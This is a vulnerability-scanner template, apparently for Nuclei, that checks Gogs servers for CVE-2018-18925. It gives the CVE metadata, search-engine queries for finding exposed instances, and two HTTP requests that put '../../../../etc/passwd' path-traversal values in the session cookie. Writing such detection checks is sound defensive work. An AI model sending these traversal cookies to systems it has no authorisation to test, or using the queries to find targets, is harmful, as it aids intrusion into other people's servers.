Gogs (Go Git Service) 0.11.66 - Remote Code Execution

id: CVE-2018-18925

info:
  name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: This issue will be fixed by updating to the latest version of Gogs.
  reference:
    - https://www.anquanke.com/post/id/163575
    - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
    - https://nvd.nist.gov/vuln/detail/cve-2018-18925
    - https://github.com/gogs/gogs/issues/5469
    - https://github.com/j4k0m/CVE-2018-18925
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-18925
    cwe-id: CWE-384
    epss-score: 0.31133
    epss-percentile: 0.98283
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gogs
    product: gogs
    shodan-query:
      - cpe:"cpe:2.3:a:gogs:gogs"
      - http.title:"sign in - gogs"
    fofa-query: title="sign in - gogs"
    google-query: intitle:"sign in - gogs"
  tags: cve,cve2018,gogs,lfi,rce,vulhub,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'